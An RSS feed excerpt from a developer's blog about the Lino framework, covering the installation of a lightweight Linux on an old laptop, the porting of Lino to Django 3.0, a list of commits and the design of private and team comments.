&lt;span class="n"&gt;sphinxcontrib&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;qthelp&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.0.2&lt;/span&gt;
&lt;span class="n"&gt;sphinxcontrib&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;serializinghtml&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.1.3&lt;/span&gt;
&lt;span class="n"&gt;sqlparse&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.3.0&lt;/span&gt;
&lt;span class="n"&gt;suds&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;py3&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.3.4.0&lt;/span&gt;
&lt;span class="n"&gt;tinycss2&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.0.2&lt;/span&gt;
&lt;span class="n"&gt;transaction&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.4.0&lt;/span&gt;
&lt;span class="n"&gt;tzlocal&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.0.0&lt;/span&gt;
&lt;span class="n"&gt;Unipath&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;
&lt;span class="n"&gt;urllib3&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.25.7&lt;/span&gt;
&lt;span class="n"&gt;virtualenv&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;16.7.8&lt;/span&gt;
&lt;span class="n"&gt;vobject&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.9.6.1&lt;/span&gt;
&lt;span class="n"&gt;WeasyPrint&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;
&lt;span class="n"&gt;webencodings&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.5.1&lt;/span&gt;
&lt;span class="n"&gt;zc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lockfile&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.0&lt;/span&gt;
&lt;span class="n"&gt;ZConfig&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.5.0&lt;/span&gt;
&lt;span class="n"&gt;ZODB&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;5.5.1&lt;/span&gt;
&lt;span class="n"&gt;zodbpickle&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.0.0&lt;/span&gt;
&lt;span class="n"&gt;zope&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;interface&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;4.7.1&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1129.html</guid><pubDate>Fri, 29 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Thursday, November 28, 2019</title><link>https://luc.lino-framework.org/blog/2019/1128.html</link><description>&lt;section id="thursday-november-28-2019"&gt;
&lt;h1&gt;Thursday, November 28, 2019&lt;a class="headerlink" href="#thursday-november-28-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="running-linux-on-an-older-pc"&gt;
&lt;h2&gt;Running Linux on an older PC&lt;a class="headerlink" href="#running-linux-on-an-older-pc" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ticket &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3357"&gt;#3357&lt;/a&gt; is not directly related to Lino.  I am installing LXLE on
Ly’s old notebook computer in order to make it quick again so that Iiris can use
it. It had become unbearably slow because it has only 2 GB of RAM, and Ubuntu is
simply too fat for this old machine.  Quote from a discussion on &lt;a class="reference external" href="https://www.linux.org/threads/how-much-ram.19181/"&gt;linux.org&lt;/a&gt; :  “IMO to have an
enjoyable 1st experience using Ubuntu 18.04 LTS or any Linux I would highly
recommend at least 4.0 GB of memory. From my experience trying to run Ubuntu
18.04 LTS with only 2.0 GB memory will be painful at best.”&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://lxle.net/about/"&gt;LXLE&lt;/a&gt; is a “Full featured OS for an aging PC” based on
Lubuntu. I chose it after reading &lt;a class="reference external" href="https://itsfoss.com/lightweight-linux-beginners/"&gt;10 Best Lightweight Linux Distributions For
Older Computers&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I downloaded an ISO image from &lt;a class="reference external" href="https://sourceforge.net/projects/lxle/"&gt;https://sourceforge.net/projects/lxle/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;How to get the ISO file to an USB stick? &lt;a class="reference external" href="https://fossbytes.com/create-bootable-usb-media-from-iso-ubuntu/"&gt;This article&lt;/a&gt; suggests
that that Startup Disk Creator can do it.  I had to install python3-coverage
before getting it installed:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt-get install python3-coverage
$ sudo apt install usb-creator-gtk
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;img alt="../../_images/2019-11-28_07-10-55.png" src="../../_images/2019-11-28_07-10-55.png" /&gt;
&lt;p&gt;Before it actually starts writing, it asks “Are you sure you want to write to
the selected device? All data will be lost.”  The operation then takes a few
minutes. At the end it says “Installation is complete.  You may now run Ubuntu
on other computers by booting them with this drive inserted.”&lt;/p&gt;
&lt;p&gt;I manually unmounted the USB stick before removing it.&lt;/p&gt;
&lt;p&gt;Another article suggests to simply use &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;dd&lt;/span&gt;&lt;/code&gt;:
&lt;a class="reference external" href="https://vitux.com/how-to-create-a-bootable-usb-stick-from-the-ubuntu-terminal/"&gt;https://vitux.com/how-to-create-a-bootable-usb-stick-from-the-ubuntu-terminal/&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;section id="lino-gets-ready-for-django-3-0"&gt;
&lt;h2&gt;Lino gets ready for Django 3.0&lt;a class="headerlink" href="#lino-gets-ready-for-django-3-0" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;It’s already 10 days ago that they released &lt;a class="reference external" href="https://www.djangoproject.com/weblog/2019/nov/18/django-30-release-candidate-1-released/"&gt;Django 3.0 release candidate 1&lt;/a&gt;.
Now I did &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pip&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt; &lt;span class="pre"&gt;--pre&lt;/span&gt; &lt;span class="pre"&gt;-U&lt;/span&gt; &lt;span class="pre"&gt;django&lt;/span&gt;&lt;/code&gt; and ran the test suite. I opened
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3360"&gt;#3360&lt;/a&gt; for this.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;“TypeError: not all arguments converted during string formatting” in
&lt;a class="reference external" href="https://dev.lino-framework.org/api/index.html#module-lino" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; when parsing the Django version.  Now Lino will work also with
Django 4+.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ImportError: cannot import name ‘python_2_unicode_compatible’ : so I removed
this decorator from everywhere (several hundred occurrences in more than a
dozen repositories!)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Replaced “from django.utils import six” by “import six”.  Started replacing
&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;six.text_type()&lt;/span&gt;&lt;/code&gt; by &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;str()&lt;/span&gt;&lt;/code&gt; Soon we might also remove all usage of
six, but that’s not a blocker.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;TypeError: ‘NoneType’ object is not iterable : seems that
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Field.choices&lt;/span&gt;&lt;/code&gt; can now be &lt;cite&gt;None&lt;/cite&gt;. Okay, why not.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;TypeError: from_db_value() missing 1 required positional argument: ‘context’ :&lt;/p&gt;
&lt;p&gt;That was because we have several Lino fields that define a
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;from_db_value()&lt;/span&gt;&lt;/code&gt; method:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;from_db_value&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And the &lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0/releases/3.0/"&gt;Release notes&lt;/a&gt; say clearly that
“Support for the context argument of Field.from_db_value() and
Expression.convert_value() is removed.”&lt;/p&gt;
&lt;p&gt;So I changed the signature of these methods so that they support both Django 2
and 3:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;from_db_value&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;django.core.exceptions.ValidationError: {‘choicelist’: [“Value ‘properties.HowWell’ is not a valid choice.”]}&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.properties.html#module-lino_xl.lib.properties" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.properties&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; plugin is rather deprecated but still used
in &lt;a class="reference external" href="https://welfare.lino-framework.org/index.html#welfare" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I moved the choicelists into a separate &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;choicelists.py&lt;/span&gt;&lt;/code&gt; module because
I had a feeling that maybe that triggers the problem. Nope. But I leave them
in a separate module.&lt;/p&gt;
&lt;p&gt;So what then is happening there? Aha, look at the &lt;cite&gt;PropType.choicelist&lt;/cite&gt; field.
It is defined as follows:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;choicelist&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CharField&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;blank&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;verbose_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Choices List&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;choices&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;choicelist_choices&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.kernel.html#lino.core.kernel.choicelist_choices" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.kernel.choicelist_choices()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; function  returns a sorted
list of all choicelists in this application.  But: this list is not yet
populated when the modules.py modules are being imported.  So the return value
is always empty. Also in Django 2 this field does not have any choices.
Django 3 detected a bug in our code that had gone unnoticed in Django 2 :-)&lt;/p&gt;
&lt;p&gt;The solution is to use a chooser, i.e. a choicelist_choices method. Now it
works at least in Django 2.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;All primary keys had sums in doctests. Lino assumes that the sum of a primary
key makes no sense and therefore it is automatically hidden.  This logic lives
in the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.elems.AutoFieldElement&lt;/span&gt;&lt;/code&gt; class where we say:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;AutoFieldElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NumberFieldElement&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;value2num&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.elems.html#lino.core.elems.field2elem" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.elems.field2elem()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; works by looping over a list of Django
database field classes and finds the first element class found for the
database field. One thing that’s new in Django 3 : AutoField now inherits from
IntegerField.  That makes sense, but it caused Lino to return an
IntegerFieldelement for AutoField as well.  The solution was easy: simply test
for AutoField before testing for IntegerField.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Commits:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2019-11-28 20:25 in &lt;em&gt;atelier&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/atelier/commit/f09d5b9ec611e6ce50336d9573c2b6384e6fadf7"&gt;e6fadf7&lt;/a&gt;
(Merge branch ‘master’ of git+ssh://github.com/lino-framework/atelier)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-28 20:25 in &lt;em&gt;atelier&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/atelier/commit/df07635d59f17b842bc7885be3514d4daafa38ad"&gt;afa38ad&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/1128.html"&gt;http://luc.lino-framework.org/blog/2019/1128.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-28 20:25 in &lt;em&gt;lino&lt;/em&gt;:
&lt;a class="reference external" href="https://gitlab.com/lino-framework/lino/commit/7c76ead842dc4538fa0fc4227476199e6e60f982"&gt;e60f982&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/1128.html"&gt;http://luc.lino-framework.org/blog/2019/1128.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-28 20:26 in &lt;em&gt;xl&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/xl/commit/9d6f13da62959f9139f0c921033a1902243aa3e6"&gt;43aa3e6&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/1128.html"&gt;http://luc.lino-framework.org/blog/2019/1128.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-28 20:26 in &lt;em&gt;noi&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/noi/commit/05a79f704789f01b1703dc27b1e77959d1b5909d"&gt;1b5909d&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/1128.html"&gt;http://luc.lino-framework.org/blog/2019/1128.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-28 20:26 in &lt;em&gt;voga&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/voga/commit/885430a5942e11e4bb38c26ccefcfea8ea1a4504"&gt;a1a4504&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/1128.html"&gt;http://luc.lino-framework.org/blog/2019/1128.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-28 20:26 in &lt;em&gt;care&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/care/commit/620f9a8354a44b4261827fc9400baab4fc2f48e6"&gt;c2f48e6&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/1128.html"&gt;http://luc.lino-framework.org/blog/2019/1128.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-28 20:26 in &lt;em&gt;vilma&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/vilma/commit/ea2b2b47ed1b93b20b4046fe4fd31b9e7d95e68f"&gt;d95e68f&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/1128.html"&gt;http://luc.lino-framework.org/blog/2019/1128.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-28 20:27 in &lt;em&gt;avanti&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/avanti/commit/b6bfca65d5827adec22b0ec4ce9bdfc6522f0f94"&gt;22f0f94&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/1128.html"&gt;http://luc.lino-framework.org/blog/2019/1128.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-28 20:27 in &lt;em&gt;tera&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/tera/commit/8e8326d2bdda7d30855241e63a8c7443070f23b4"&gt;70f23b4&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/1128.html"&gt;http://luc.lino-framework.org/blog/2019/1128.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-28 20:27 in &lt;em&gt;book&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/book/commit/2e3fc00f54f330d15551de4dff6d4832ce9c3345"&gt;e9c3345&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/1128.html"&gt;http://luc.lino-framework.org/blog/2019/1128.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-28 20:27 in &lt;em&gt;welfare&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/welfare/commit/fdd72660275d55555012b91d35233688408a558f"&gt;08a558f&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/1128.html"&gt;http://luc.lino-framework.org/blog/2019/1128.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-28 20:27 in &lt;em&gt;welcht&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/welcht/commit/63b04febdf84ea12883b38eca2e8da71453a6168"&gt;53a6168&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/1128.html"&gt;http://luc.lino-framework.org/blog/2019/1128.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-28 20:27 in &lt;em&gt;presto&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/presto/commit/7a8808d1c0c15041fc28214172549087ec371f6d"&gt;c371f6d&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/1128.html"&gt;http://luc.lino-framework.org/blog/2019/1128.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-28 20:28 in &lt;em&gt;amici&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/amici/commit/7746b3b8233402505a0a4814f09d007183726f2e"&gt;3726f2e&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/1128.html"&gt;http://luc.lino-framework.org/blog/2019/1128.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-28 20:28 in &lt;em&gt;ciao&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/ciao/commit/ca2e9ee2bde668026deca39ff7562c28b7720961"&gt;7720961&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/1128.html"&gt;http://luc.lino-framework.org/blog/2019/1128.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-28 20:28 in &lt;em&gt;algus&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/algus/commit/9cef587160123b7b4e8838dbca3ea76813f07497"&gt;3f07497&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/1128.html"&gt;http://luc.lino-framework.org/blog/2019/1128.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-28 20:28 in &lt;em&gt;blog&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lsaffre/blog/commit/de58585f599e5ed38aa9bbd338955f2008665f8b"&gt;8665f8b&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/1128.html"&gt;http://luc.lino-framework.org/blog/2019/1128.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-28 21:44 in &lt;em&gt;lino&lt;/em&gt;:
&lt;a class="reference external" href="https://gitlab.com/lino-framework/lino/commit/41bbba62051c3c3660b7dd072538d0d507326925"&gt;7326925&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/1128.html"&gt;http://luc.lino-framework.org/blog/2019/1128.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-29 04:28 in &lt;em&gt;lino&lt;/em&gt;:
&lt;a class="reference external" href="https://gitlab.com/lino-framework/lino/commit/f87f4c1ce564aca41b02a0f8889a00ff828480c6"&gt;28480c6&lt;/a&gt;
(keep ContentType.__str__() as it was in Django 2)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-29 04:40 in &lt;em&gt;blog&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lsaffre/blog/commit/5117e26aa89fc5145d2abed998b763a1de718675"&gt;e718675&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/1129.html"&gt;http://luc.lino-framework.org/blog/2019/1129.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1128.html</guid><pubDate>Thu, 28 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Wednesday, November 27, 2019</title><link>https://luc.lino-framework.org/blog/2019/1127.html</link><description>&lt;section id="wednesday-november-27-2019"&gt;
&lt;h1&gt;Wednesday, November 27, 2019&lt;a class="headerlink" href="#wednesday-november-27-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;After having tried yesterday some time without a new database field
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments.Comment.private&lt;/span&gt;&lt;/code&gt; for every single comment, I now
think that we need this field indeed.  The author of a comment can (potentially,
if the application developer decides to expose this field) mark individual
comments as private or not.  Also imagine the case that some ticket is marked as
private, comments are being written with confidential data, and then the change
the ticket to non-private: the existing comments should not become public in
that case.&lt;/p&gt;
&lt;p&gt;Applications can control the default value for this field  by setting the new
plugin attribute &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;private_default&lt;/span&gt;&lt;/code&gt; or by overriding
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Commentable.is_ticket_private()&lt;/span&gt;&lt;/code&gt;.  The latter is done e.g. by
tickets.Ticket so that every new comment on a public site will be public by
default.&lt;/p&gt;
&lt;p&gt;In Noi (that’s a decision of the &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-application-developer" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;application developer&lt;/span&gt;&lt;/a&gt;), even private
tickets are visible to other team members.  Their visibility depends on the user
itself (not just on the user_type): even unprivileged users can see private
tickets and sites if they are member of the team.&lt;/p&gt;
&lt;p&gt;Model.get_queryset is an important feature for the Lino framework : the
&lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-application-developer" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;application developer&lt;/span&gt;&lt;/a&gt; can limit visibility of individual rows depending
on the user.  That’s not feasible with a Django objects manager.&lt;/p&gt;
&lt;p&gt;While trusted developers can see private tickets and sites without being a
member of their team, they cannot see private comments unless they are a team
member.&lt;/p&gt;
&lt;p&gt;New role &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments.roles.PrivateCommentsReader&lt;/span&gt;&lt;/code&gt;. And trusted
developers have this role in Noi.  Why did we need this new role?&lt;/p&gt;
&lt;p&gt;We now have &lt;strong&gt;team comments&lt;/strong&gt; : A team comment is a comment to the whole team,
not about a given ticket.  The feature came into Noi as a side effect together
with the team notion (because &lt;a class="reference external" href="https://dev.lino-framework.org/specs/groups.html#lino_xl.lib.groups.Group" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.groups.Group&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; inherits from
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/comments.html#lino.modlib.comments.Commentable" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments.Commentable&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;).  I think it makes sense for us: e.g.
for notifications about team meetings or discussions that span several tickets.&lt;/p&gt;
